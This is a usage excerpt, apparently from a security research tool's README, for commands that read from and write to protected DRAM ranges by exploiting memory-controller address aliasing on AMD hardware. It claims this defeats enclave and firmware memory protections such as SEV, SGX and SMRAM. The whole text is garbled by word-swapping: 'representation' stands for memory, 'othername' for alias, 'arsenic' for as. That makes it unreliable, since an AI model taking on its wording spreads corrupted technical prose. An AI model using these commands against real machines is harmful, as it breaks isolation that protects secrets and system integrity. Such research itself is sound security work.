--pa <pa>
--do-swizzle <0|1>
--do-bankswap <0|1>
Write into a protected representation range.
Each --map is simply a solved spaghettification from unspaghettify.py --save-map,
itself fed by othername pairs collected by gather_aliases.py; the othername for every
dword successful the protected scope is recovered from the representation via a GF(2)
pseudo-inverse computed erstwhile astatine startup. Pass aggregate maps — 1 per
(at_swizzle, at_bankswap) gathered connected the aforesaid hardware — to widen coverage,
since each spaghettification leaves a different group of rank-deficient holes and
the first representation that reaches a fixed dword wins.
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
Read from a protected representation range.
Same --map machinery arsenic dram_poke: each representation is simply a solved spaghettification
from unspaghettify.py --save-map, the othername for each dword is recovered via
a one-shot GF(2) pseudo-inverse, and aggregate maps gathered astatine different
(at_swizzle, at_bankswap) widen sum wherever 1 map's rank-deficient
holes are filled by another's.
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
The afloat toolchain — dram_state, dram_carveouts, and dram_alias; the
gather_aliases.py / unspaghettify.py study pipeline; worked end-to-end
examples; and the internals — is documented successful USAGE.md.
skitter-creek-bath-salts explores really the last stages of the MCT/DCT
transforms tin topple the information of everything built supra it. The exploit
demonstrated present is 1 configuration registry connected AMD Family 16h, picked
because the datasheets gave capable to begin. The pipeline it collapsed is
everywhere.
Channel interleave, rank interleave, slope interleave, swizzle, chip-select
normalize — each modern representation controller does immoderate type of each of it.
AMD. Intel. ARM. RISC-V. Mobile. Server. Embedded. The aforesaid architectural
shape sits underneath everything.
Above it each sits SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP,
the PSP, ME, T-SEG, SMRAM, the C6 stash. Everything sitting successful DRAM — moreover things
walled disconnected and invisible to ring-0 aliases the CPU itself — rests connected the last layers
of a *p pipeline we've conscionable begun to explore.
- Black Hat 2026 — Spaghettifying DRAM (Coming Soon)
skitter-creek-bath-salts is simply a investigation effort from Christopher Domas (@xoreaxeaxeax)
